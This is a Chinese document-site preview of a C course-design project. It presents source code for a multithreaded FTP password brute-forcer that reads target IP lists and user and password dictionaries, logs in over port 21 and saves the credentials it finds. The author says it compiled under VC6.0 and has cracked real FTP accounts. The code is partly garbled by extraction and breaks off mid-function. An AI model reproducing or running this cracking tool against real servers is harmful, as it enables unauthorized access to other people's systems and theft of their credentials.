c语言课程设计之探测FTP密码的程序源码-课程设计_第1页
c语言课程设计之探测FTP密码的程序源码-课程设计_第2页
c语言课程设计之探测FTP密码的程序源码-课程设计_第3页
c语言课程设计之探测FTP密码的程序源码-课程设计_第4页
c语言课程设计之探测FTP密码的程序源码-课程设计_第5页
已阅读5页,还剩7页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、c语言课程设计之探测ftp密码的程序源码-课程设计c语言课程设计之探测ftp密码的程序源码|c语言程序代码编程小程序设计|c语言课程设计报告课程案例 这个程序是用来进行暴力破解的,只需在命令行下输入:ftp ip.txt 100其中ip.txt为你要探测的ftp服务器的ip地址,每一行一个ip地址!100为你想要开的线程数!而其中的必需有两个文件,ftp_user.txt,ftp_pass.txt,跟这段代码生成的可执行程序放在同一个目录下,以上的ip.txt也要放在同一个目录下!只要ftp_user.txt,ftp_pass.txt这两个字典选得好,不长的时间就可以将密码探测出来!本来这段代

2、码是没有把探测出来的密码保存的,我加了几句,可以将用户名和密码都保存下来,分别在同一个目录下的user.txt,和ftp.txt中!以下的源码在vc6.0下编译通过!并曾正确破译出ftp的用户名和密码!/ /描述:从指定文件读入ip地址和帐号密码,猜测ftp服务器密码 #include #include #include #pragma comment(lib,ws2_32.lib) #define port 21 #define version 0.1.2 #define len sizeof(struct filedata) / /定义全局变量 / struct filedata/存放帐号

3、和密码的链表结构体 char dataline64; struct filedata *next; ; struct scanpar/传递给scan函数的参数结构体 struct filedata *userhead;/帐号链表的头地址 struct filedata *passhead;/密码链表的头地址 char ipnow16;/要扫描的扫描的ip ; int currentthread = 0;/当前活动线程 int maxthread = 0;/最大线程数量 char ipfile48 = 0 ;/ip列表文件名 char *passflag = 230; char *userfla

4、g = 331; / /定义函数原形 / void getpar(int , char *);/检查命令行参数 void help(char *);/输出帮助函数 void watchthread(void);/检测活动线程是否达到最大 void wait2quit(void);/等待所有线程退出函数 int winapi scan(lpvoid);/处理帐号密码字典 void crack(char * , char * , char *);/破解密码函数 struct filedata *readdic2memory(char *);/将帐号字典密码字典读入内存,存入链表 / /主函数,程序

5、入口 / int main( int argc , char *argv ) dword threadid = 1; handle threadhandle = null; file *fpip = null; wsadata wsadata; struct scanpar scanpar; char filename48 = 0 ; /检查并获取命令行参数 getpar( argc , argv ); if( wsastartup(makeword(2,2),&wsadata) != 0 ) printf( 载入winsock失败.n ); return -1; /打开ip列表文件 fpip

6、 = fopen( ipfile , r ); if( fpip = null ) printf( 打开ip列表文件失败.n ); return -1; strcpy( filename , ftp_user.txt ); scanpar.userhead = readdic2memory( filename );/将帐号读入内存 memset( filename , 0 , sizeof(filename) ); strcpy( filename , ftp_pass.txt ); scanpar.passhead = readdic2memory( filename );/将密码读入内存

7、while( !feof(fpip) ) fscanf( fpip , %s , scanpar.ipnow ); watchthread(); sleep(20); /生成新线程 threadhandle = createthread( null , 0 , (lpthread_start_routine)scan , (lpvoid)(&scanpar) , 0 , &threadid ); if( threadhandle != null ) closehandle(threadhandle); currentthread +; threadid +; wait2quit(); fclo

8、se(fpip); wsacleanup(); return 0; int winapi scan(lpvoid par) struct scanpar *scan_par = (struct scanpar *)par; struct filedata *puser = scan_par-userhead; struct filedata *ppass = scan_par-passhead; while( puser != null ) if( ppass = null ) ppass = scan_par-passhead; while( ppass != null ) printf(正

9、在%s上测试%s的密码%s.n , scan_par-ipnow , puser-dataline , ppass-dataline ); crack( scan_par-ipnow , puser-dataline , ppass-dataline ); ppass = ppass-next; puser = puser-next; currentthread -; return 0; void crack( char *ip , char *user , char *pass ) socket sock; sockaddr_in sin; int flag; int timeout; ch

10、ar recvbuffer1024 = 0 ; sock = socket( af_inet , sock_stream , 0 ); if( sock = invalid_socket ) printf( 连接%s建立socket失败n ,ip); return; /设置超时时间 timeout = 2000; if( setsockopt(sock, sol_socket, so_sndtimeo, (char *)&timeout, sizeof(timeout) = socket_error ) printf(连接%s设置超时失败n , ip ); return; memset( &s

11、in , 0 , sizeof(sin) ); sin.sin_family = af_inet; sin.sin_port = htons(port); sin.sin_addr.s_addr = inet_addr(ip); flag = connect( sock , (struct sockaddr *)&sin , sizeof(sin) ); if( flag = socket_error ) printf( 连接服务器%s失败n , ip ); closesocket(sock); return; flag = recv( sock , recvbuffer , sizeof(r

12、ecvbuffer) , 0 ); if( flag = socket_error ) printf( %s接受banner数据失败n , ip); closesocket(sock); return; char usercmd48 = 0 ; wsprintf( usercmd , user %srn , user ); flag = send( sock , usercmd , strlen(usercmd) , 0 ); if( flag = socket_error ) printf( %s发送帐号失败n , ip ); closesocket(sock); return; memse

13、t( recvbuffer , 0 ,sizeof(recvbuffer) ); flag = recv( sock , recvbuffer , sizeof(recvbuffer) , 0 ); if( flag = socket_error ) printf( %s接受user数据失败n , ip ); closesocket(sock); return; if( strlen(recvbuffer) = 0 ) printf( %s接受user数据失败n , ip ); closesocket(sock); return; if( strstr(recvbuffer , userfla

14、g) = null ) printf( %s用户名没能通过n , ip ); closesocket(sock); return; char passcmd48 = 0 ; wsprintf( passcmd , pass %srn , pass ); flag = send( sock , passcmd , strlen(passcmd) , 0 ); if( flag = socket_error ) printf( %s发送密码失败n , ip ); closesocket(sock); return; memset( recvbuffer , 0 , sizeof(recvbuffe

15、r) ); flag = recv( sock , recvbuffer , sizeof(recvbuffer) , 0 ); if( flag = socket_error ) printf( %s接受pass数据失败n , ip ); closesocket(sock); return; / if(strstr(recvbuffer , passflag) printf( 发现密码:%st%st%sn , ip , user , pass ); file * fp;fp = fopen(pwd.txt,wt+);fwrite(pass,sizeof(pass),1,fp);fclose(

16、fp);file * fp1;fp1 = fopen(user.txt,wt+);fwrite(user,sizeof(user),1,fp1);fclose(fp1); closesocket(sock); return; struct filedata *readdic2memory( char *filename ) struct filedata *p1 = null; struct filedata *p2 = null; struct filedata *head = null; file *fp = null; int num = 0;/节点数目 p1 = p2 = (struc

17、t filedata *)malloc(len);/开辟新内存单元 if( p1 = null ) printf( 开辟新内存单元失败.n ); exit(-1); fp = fopen( filename , r );/打开文件句柄 if( fp = null ) printf( 打开文件%s失败.n , filename ); exit(-1); while( !feof(fp) ) num = num + 1; fscanf( fp , %s , p1-dataline ); if( num = 1 )/如果是第一个节点 head = p1; else p2-next = p1; p2

18、= p1; p1 = (struct filedata *)malloc(len); fscanf( fp , %s , p1-dataline ); p2-next = null; return head; void getpar( int argc , char *argv ) /检查命令行参数 if( argc != 3 ) help( argv0 ); return; if( strlen(argv1) 48 ) strcpy( ipfile , argv1 ); else printf( ip列表文件名太长.n ); return; /从命令行参数获取最大线程数 maxthread

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论